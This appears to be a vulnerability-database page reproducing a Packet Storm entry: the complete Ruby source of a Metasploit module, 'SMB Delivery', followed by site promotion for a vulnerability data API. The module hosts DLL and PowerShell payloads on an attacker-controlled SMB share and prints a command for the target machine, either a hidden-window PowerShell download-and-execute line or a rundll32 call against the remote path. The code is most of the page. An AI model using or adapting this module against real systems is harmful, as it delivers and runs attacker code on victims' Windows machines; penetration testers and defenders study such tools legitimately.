Lucene search
K

SMB Delivery Module

🗓️ 05 Aug 2016 00:00:00Reported by Andrew SmithType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 32 Views

SMB Delivery Module to serve payloads via an SMB server and execute DLLs and Powershell

Code
`require 'msf/core'  
require 'msf/core/exploit/powershell'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::EXE  
include Msf::Exploit::Remote::SMB::Server::Share  
include Msf::Exploit::Powershell  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "SMB Delivery",  
'Description' => %q{  
This module serves payloads via an SMB server and provides commands to retrieve  
and execute the generated payloads. Currently supports DLLs and Powershell.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Andrew Smith',  
'Russel Van Tuyl'  
],  
'References' =>  
[  
['URL', 'https://github.com/rapid7/metasploit-framework/pull/3074']  
],  
'Payload' =>  
{  
'Space' => 2048,  
'DisableNops' => true  
},  
'Platform' => 'win',  
'Targets' =>  
[  
['DLL', {  
'Platform' => 'win',  
'Arch' => [ARCH_X86, ARCH_X86_64]  
}],  
['PSH', {  
'Platform' => 'win',  
'Arch' => [ARCH_X86, ARCH_X86_64]  
}]  
],  
'Privileged' => false,  
'DisclosureDate' => "Jul 26 2016",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILE_NAME', [ false, 'DLL file name', 'test.dll'])  
], self.class)  
  
deregister_options('FILE_CONTENTS')  
end  
  
def primer  
print_status('Run the following command on the target machine:')  
case target.name  
when 'PSH'  
self.file_contents = cmd_psh_payload( payload.encoded,  
payload_instance.arch.first,  
remove_comspec: true,  
use_single_quotes: true)  
  
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl  
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(unc)  
download_and_run = "#{ignore_cert}#{download_string}"  
print_line generate_psh_command_line( noprofile: true,  
windowstyle: 'hidden',  
command: download_and_run)  
when 'DLL'  
self.file_contents = generate_payload_dll  
print_line("rundll32.exe #{unc},0")  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation